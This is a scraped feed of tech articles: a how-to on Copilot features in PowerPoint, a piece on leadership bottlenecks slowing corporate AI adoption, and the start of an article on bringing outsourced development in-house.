<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#answer-questions">Answer questions about a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#navigate">Help you navigate a large presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#speaker-notes">Generate speaker notes and/or an FAQ</a></li>
</ul>



<h2 class="wp-block-heading">Working with Copilot in PowerPoint</h2>



<p class="wp-block-paragraph">First, let’s quickly go over the notable settings of the Copilot sidebar.</p>



<p class="wp-block-paragraph">When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-01-sidebar.png?w=1024" alt="powerpoint screen with copilot sidebar open on right" class="wp-image-4195065" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The sidebar on the right is where you interact with Copilot in PowerPOint.</p><br></figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph"><strong>Agent mode:</strong> By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the <em>Allow editing</em> button above the chat window and change it to <em>Chat only</em>.</p>



<p class="wp-block-paragraph">The tips in this guide require that Copilot be in agent mode, so make sure you see <em>Allow editing</em> above the chat window.</p>



<p class="wp-block-paragraph"><strong>Choice of AI model:</strong> Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click <em>Auto</em> at the upper right of the Copilot pane and select a model from the dropdown that opens.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-02-sidebar-model-dropdown.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with models dropdown menu open" class="wp-image-4195063" width="1024" height="697" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>You can choose which AI model you want Copilot to use for a request.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">The tips in this guide should work fine on the default <em>Auto</em> setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.</p>



<p class="wp-block-paragraph"><strong>Important:</strong> Remember that <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">generative AI output often includes errors</a>, so always check Copilot’s output for accuracy. (Also see our <a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">tips for reducing hallucinations in Copilot</a>.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.</p>



<h2 class="wp-block-heading"><a></a>1. Create a presentation template</h2>



<p class="wp-block-paragraph">For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.</p>



<p class="wp-block-paragraph">Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.</p>



<p class="wp-block-paragraph">A good prompt should contain the slide count, subject, audience, and tone. Example:</p>



<ul class="wp-block-list">
<li><em>Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-03-generated-presentation-with-placeholder-data.png?w=1024" alt="screenshot of powerpoint presentation generated by copilot with placeholder data" class="wp-image-4195064" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot generates a presentation with placeholder data and explains its elements.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.</p>



<h2 class="wp-block-heading"><a></a>2. Create a presentation from a document</h2>



<p class="wp-block-paragraph">You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.</p>



<p class="wp-block-paragraph">Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, click the <em>+</em> icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-04-attach-document.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on" class="wp-image-4195062" width="1024" height="733" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Attaching a document for Copilot to base a presentation on.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Then in the chat window, you can enter a prompt that’s as simple as “<em>Create a presentation</em>,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.</p>



<p class="wp-block-paragraph">Answer any follow-up questions that Copilot asks, and it will then generate the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-05-generated-presentation-from-doc.png?w=1024" alt="screenshot of powerpoint with a presentation generated by copilot from a document" class="wp-image-4195067" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot has generated a professional presentation from a social media marketing campaign document.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note: Your marketing department may have created one or more <a href="https://support.microsoft.com/en-US/PowerPoint/copilot/keep-your-presentation-on-brand-with-copilot" target="_blank" rel="noreferrer noopener">branded company templates for Copilot to work from</a>. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.</p>



<h2 class="wp-block-heading"><a></a>3. Add content from a document to a slide</h2>



<p class="wp-block-paragraph">Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:</p>



<ul class="wp-block-list">
<li><em>Add a slide based on the attached document.</em></li>



<li><em>Use the attached file to add a slide about the project budget that focuses on Q1 projections.</em></li>



<li><em>Summarize only the financial section of the attached document as a slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-06-generated-slide-from-spreadsheet.png?w=1024" alt="screenshot of a slide in powerpoint generated by copilot from spreadsheet data" class="wp-image-4195068" width="1024" height="612" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A new Copilot-generated slide based on data from an Excel spreadsheet.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a><a></a>4. Refine your slide text</h2>



<p class="wp-block-paragraph">A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.</p>



<p class="wp-block-paragraph">You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click <em>Edit with Copilot</em>.</p>



<p class="wp-block-paragraph">On the menu that opens, you can select a preset prompt to refine the text, such as <em>Condense</em> or <em>Make professional</em>. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-07-refine-slide-text-options-menu.png" alt="screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options" class="wp-image-4195066" width="960" height="690" sizes="auto, (max-width: 960px) 100vw, 960px"><figcaption class="wp-element-caption"><p>Choose a preset prompt for refining text on a slide or type in your own prompt.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.</p>



<p class="wp-block-paragraph">Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:</p>



<ul class="wp-block-list">
<li><em>Make these slides more visual and use less text.</em></li>
</ul>



<h2 class="wp-block-heading">5. Find or create an image</h2>



<p class="wp-block-paragraph">If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.</p>



<p class="wp-block-paragraph">To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:</p>



<ul class="wp-block-list">
<li><em>Add a stock photo of young adults in a cafe drinking boba tea.</em></li>



<li><em>Add a photo from our asset library of young adults in a cafe drinking boba tea.</em></li>
</ul>



<p class="wp-block-paragraph">To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:</p>



<ul class="wp-block-list">
<li><em>Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-08-generate-image.png?w=1024" alt="screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide" class="wp-image-4195097" width="1024" height="594" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off. </p>



<p class="wp-block-paragraph">Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.</p>



<h2 class="wp-block-heading"><a></a>6. Expand your presentation with relevant slides</h2>



<p class="wp-block-paragraph">As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:</p>



<ul class="wp-block-list">
<li><em>Add a slide after slide 3 about our competitive advantages.</em></li>



<li><em>Add a slide after slide 11 that transitions to slide 12.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-09-generated-transition-slide.png?w=1024" alt="screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot" class="wp-image-4195094" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Need a transition slide? Just ask!</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading">7. Summarize a presentation</h2>



<p class="wp-block-paragraph">Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.</p>



<p class="wp-block-paragraph">In the Copilot pane, just type “<em>summarize this presentation</em>.” You can also have Copilot flag key slides that contain important information: “<em>show me key slides</em>.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-10-summarize-key-slides.png?w=1024" alt="screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response" class="wp-image-4195095" width="1024" height="774" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot to summarize a presentation or flag key slides.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>8. Answer questions about a presentation</h2>



<p class="wp-block-paragraph">As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, type specific informational questions. Examples:</p>



<ul class="wp-block-list">
<li><em>What are the action items in this deck?</em></li>



<li><em>What is the proposed budget mentioned here?</em></li>
</ul>



<p class="wp-block-paragraph">If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-11-ask-questions-about-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck" class="wp-image-4195093" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot specific questions about the contents of a presentation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)</p>



<p class="wp-block-paragraph">You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.</p>



<h2 class="wp-block-heading"><a></a>9. Help you navigate a large presentation</h2>



<p class="wp-block-paragraph">In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:</p>



<ul class="wp-block-list">
<li><em>Show me the slides about the project timeline.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-12-navigate-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience" class="wp-image-4195096" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>10. Generate speaker notes and/or an FAQ</h2>



<p class="wp-block-paragraph">Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:</p>



<ul class="wp-block-list">
<li><em>Write speaker notes for every slide with one talking point per slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-13-speaker-notes.png?w=1024" alt="screenshot of powerpoint presentation with speaker notes generated by copilot" class="wp-image-4195092" width="1024" height="607" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can create speaker notes in seconds.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:</p>



<ul class="wp-block-list">
<li><em>Write an FAQ for these slides.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-14-generated-faq-slide.png?w=1024" alt="screenshot of frequently asked questions slide generated by copilot in powerpoint" class="wp-image-4195091" width="1024" height="609" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A Copilot-generated FAQ slide.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h4 class="wp-block-heading"><strong>Related reading:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></li>



<li><a href="https://www.computerworld.com/article/4022584/9-ways-copilot-can-turbocharge-onenote.html">9 ways Copilot can turbocharge OneNote</a></li>



<li><a href="https://www.computerworld.com/article/1647230/powerpoint-for-microsoft-365-cheat-sheet.html">PowerPoint for Microsoft 365 cheat sheet</a></li>



<li><a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat: Your hub for document creation and analysis</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>



<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html">More Microsoft tips and tutorials</a></li>
</ul>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Leadership bottlenecks slow AI adoption]]></title>
<description><![CDATA[At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.



But these issues are relatively straightforward compared to th...]]></description>
<link>https://tsecurity.de/de/3685910/it-security-nachrichten/leadership-bottlenecks-slow-ai-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685910/it-security-nachrichten/leadership-bottlenecks-slow-ai-adoption/</guid>
<pubDate>Wed, 22 Jul 2026 12:14:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.</p>



<p class="wp-block-paragraph">But these issues are relatively straightforward compared to the bigger challenges relating to the fast pace of change, specifically how AI can touch and transform nearly every aspect of business.</p>



<p class="wp-block-paragraph">“We’re thinking about it every day,” he says. “My belief is we’ll be seeing a massive acceleration of everything.”</p>



<p class="wp-block-paragraph">In coding, for example, he’s witnessing productivity increases up to 110% with AI assistants. “I can build apps or custom integrations a lot faster,” he adds.</p>



<p class="wp-block-paragraph">And the real benefit of AI isn’t just in speeding up individual steps in a process, but in making AI the core of a new business process. But building it from scratch puts even more pressure on organizations trying to get employees up to speed on new ways of doing things.</p>



<p class="wp-block-paragraph">“We want to move fast, train people, and get them onboarded,” he says. “But what I thought AI was going to do for my organization nine months ago is different from three months ago.” So by the time something is rolled out, it’s changed three times.</p>



<p class="wp-block-paragraph">“I struggle with the change management aspect,” he says. “The legacy model of change management isn’t fast enough. How do you create that constant learning?”</p>



<p class="wp-block-paragraph">One of the ways Cisco approaches it is to create communities where people can talk about these issues and share best practices and governance, and you have to keep people’s minds open that every day is going to be different than the last, Andrews adds.</p>



<h2 class="wp-block-heading">Testing the AI waters</h2>



<p class="wp-block-paragraph">Cisco isn’t the only organization struggling with change management in the face of the AI tsunami. <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/c-suite-study/ceo">In a survey of 2,000 global CEOs IBM released in May</a>, 83% of them said AI success depends more on adoption than on the technology itself, and 77% said talent and technology roles are converging.</p>



<p class="wp-block-paragraph">“Thanks to Claude Code, our entire development cadence is exponentially greater than a year ago,” says Andrew Johnson, CIO at Brownstein Hyatt Farber Schreck, a Denver-based law firm with about 700 employees and clients around the US. But, as with Cisco, the biggest challenge isn’t technical.</p>



<p class="wp-block-paragraph">“In our industry, with our circumstances, we’re probably less constrained by technical capability than organizational constraints, culture, aptitude, the need to bind people to technology, and what helps me and the client,” he says. “There’s a tremendous amount of cultural shift that has to happen in our organization, which is far more demanding of my attention and complexity of thought than the technical stuff.”</p>



<p class="wp-block-paragraph">Companies that bill by the hour, such as law firms, may face additional challenges as attorney productivity increases because billable hours might go down. Alternatively, the total number of cases could go up as litigation becomes less expensive. Either way, firms that adapt will see competitive advantage, and the rest will fall behind, putting more pressure on the need for change management.</p>



<p class="wp-block-paragraph">“If people can’t embrace technology, we won’t be able to get a lot of value out of it,” says Johnson. “I’m talking to people about adapting their way of work. There are certainly a lot of people intrigued and anxious to dive in. They recognize the connection between the potential of the technology and what we do.”</p>



<p class="wp-block-paragraph">But helping everyone see that connection and then working with them to change their habits is difficult, and requires solid relationships and good communications. “That’s been far more of a bottleneck for us,” he says.</p>



<p class="wp-block-paragraph">To address the issue, the firm has developed a network of technology champions who also understand the legal side of the business. “Now we need lawyers who know how to use the technology and can articulate these things to the people we’re trying to reach,” Johnson says.</p>



<p class="wp-block-paragraph">But change management is only one leadership bottleneck slowing AI adoption. Companies also struggle with figuring out their vision for AI, with slow decision-making, and a tendency to focus on the past instead of the future.</p>



<h2 class="wp-block-heading">Vision and strategy</h2>



<p class="wp-block-paragraph"><a href="https://www.grantthornton.com/services/advisory-services/artificial-intelligence/2026-ai-impact-survey">In another survey, this time of 950 business leaders released by Grant Thornton</a> in April, 51% said strategy is the biggest driver of ROI when it comes to AI adoption, but 79% of operations leaders said they don’t have a fully developed and implemented AI strategy.</p>



<p class="wp-block-paragraph">“Having leadership understanding why AI is needed and what objective they’re trying to achieve is very important,” says Shivi Verma, senior manager of engineering at Docusign. “Sometimes leadership doesn’t have a strategy for their organization on how AI should be adopted. Many times it’s bottom-up, which creates a chaotic experience.”</p>



<p class="wp-block-paragraph">When Docusign started adopting gen AI, different teams and organizational units wanted to go in different directions. “All were coming up with their own strategy and tooling,” he says. So Docusign brought business leaders together to understand the pain points, and decide on the technology.</p>



<p class="wp-block-paragraph">“Getting requirements and placing a bet on a specific technology was important,” he says, “as well as pivoting to a different technology if needed.”</p>



<p class="wp-block-paragraph">In order to adapt to changes, the company wanted to have a nimble approach, starting with smaller use cases, with power users, and problem areas.</p>



<p class="wp-block-paragraph">“We try to plan for four to six months,” he adds. “We set expectations for our leadership that we place a bet with a specific technology, but want to be able to pivot.”</p>



<p class="wp-block-paragraph">Today, the leadership challenge front lines have moved yet again, to agentic AI. “Folks are creating their own agents and deciding their own permissions,” Verma adds. “We’re still coming up with a governance strategy.”</p>



<h2 class="wp-block-heading">Slow decision-making</h2>



<p class="wp-block-paragraph">When it comes to AI deployments, Dan Diasio, global AI consulting leader at EY and CTO for its US consulting business, admits he’s a bottleneck.</p>



<p class="wp-block-paragraph">There’s a great deal of interest in what AI can do, and using a variety of new AI tools. But since the firm deals with sensitive client data, safety is paramount. It’s a slow process, but important to build secure infrastructure, and to have trust in the technology. “That’s a reasonable bottleneck that makes sense,” he says.</p>



<p class="wp-block-paragraph">Trust in the tools they work with is essential because clients expect it. “Every tool we use has to go through a detailed security and information privacy impact assessment, as well as a whole other set of controls so they can be used appropriately and safely,” he says.</p>



<p class="wp-block-paragraph">These reviews can take a lot of time, though, and in the age of AI, speed is a highly valued currency. So how do you balance the two, when safety reviews can require input from a lot of different stakeholders and be extremely time intensive?</p>



<p class="wp-block-paragraph">“We’ve stood up a team to be able to quickly certify and address a variety of platforms,” Diasio says. “Instead of working with different departments in the way we used to, we’ve started identifying representatives from different departments into a cohort. Decisions we used to make in months now take weeks.”</p>



<p class="wp-block-paragraph">According to a <a href="https://www.westmonroe.com/insights/why-speed-matters">West Monroe survey</a> of more than 1,200 leaders released earlier this year, slow decision-making is already showing up on the bottom line. Nearly three out of four leaders said their organizations lose up to 5% of annual revenue to slow decision-making and delayed execution.</p>



<p class="wp-block-paragraph">And the top reasons for the delays? According to 40% of the managers surveyed, the problem was the skills gaps of overwhelmed teams, and 35% pointed to layers of management or approvals. Nearly half said they’re spending 10 to 25% of their time on rework, excessive approvals, and unnecessary meetings, and more than half say up to 50% of their projects fail or lose momentum to delays.</p>



<h2 class="wp-block-heading">Focus on the future, not the past</h2>



<p class="wp-block-paragraph">When it comes to the decision about where to apply AI in an organization, the tendency, Diasio says, is to turn to the experts with the most expertise in the business. But these are the same people most likely to focus on improving on what they’re already doing.</p>



<p class="wp-block-paragraph">“And that often blinds people to what’s possible in the future,” he says. “That becomes a significant bottleneck.” So the solution is to revamp the decision-making process around the new reality.</p>



<p class="wp-block-paragraph">“What we see some advanced companies do is give people who don’t understand the process but understand the technology equal footing with people who don’t understand the technology but understand the process,” he says. “A lot of companies are disproportionately focused on just addressing their operating model right now.”</p>



<p class="wp-block-paragraph">Instead of focusing on what they’re currently doing, AI-native companies will start with a focus on the customer, he says. This shift in focus isn’t likely to show up immediately on the bottom line, or result in the highest possible number of pilots going into production.</p>



<p class="wp-block-paragraph">“If leaders are in a position where they’re justifying the use of a technology to the board or their CFO, they become a bottleneck when they start demonstrating their value in terms of the number of things they’re doing,” Diasio says.</p>



<p class="wp-block-paragraph">But 150 or 200 use cases deployed into production may feel like progress, like things are happening in the organization. But all these use cases are a waste of time and money if they’re applied to existing processes that don’t move the needle. “We see that happen in organizations today,” he says. “Maybe we need to reinvent the processes.”</p>



<p class="wp-block-paragraph">It’s no secret that companies will need to change in order to adapt to AI. <a href="https://www.deloitte.com/us/en/insights/topics/technology-management/future-of-tech-leadership.html">Deloitte recently surveyed</a> 660 global technology leaders and 81% said their current operating model can deploy and govern AI enterprise-wide, but 75% also said their organization must change its operating model within the next 12 to 18 months to drive greater value.</p>



<p class="wp-block-paragraph">AI ROI is real, says China Widener, Deloitte vice chair and US tech, media, and telecom industry leader. But it’s currently weighted toward efficiency gains, with broader business transformation and revenue upside still developing.</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html">Another Deloitte survey</a> showed that the clearest results from AI were in productivity, with 66% of organizations reporting gains, and cost efficiency, with 40% saying AI reduces costs. “However, revenue impact is still emerging,” says Widener. “Only one in five companies says AI is driving top-line growth today.” But optimism prevails, with 74% expecting it to do so in the future.</p>
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<title><![CDATA[From outsourcing to ownership: How we brought development in-house without breaking delivery]]></title>
<description><![CDATA[Outsourcing worked – until it didn’t.



After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.



The challenges st...]]></description>
<link>https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Outsourcing worked – until it didn’t.</p>



<p class="wp-block-paragraph">After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.</p>



<p class="wp-block-paragraph">The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but<a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html"> </a><a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html">fair questions</a> about IP ownership, operational dependencies and long-term scalability.</p>



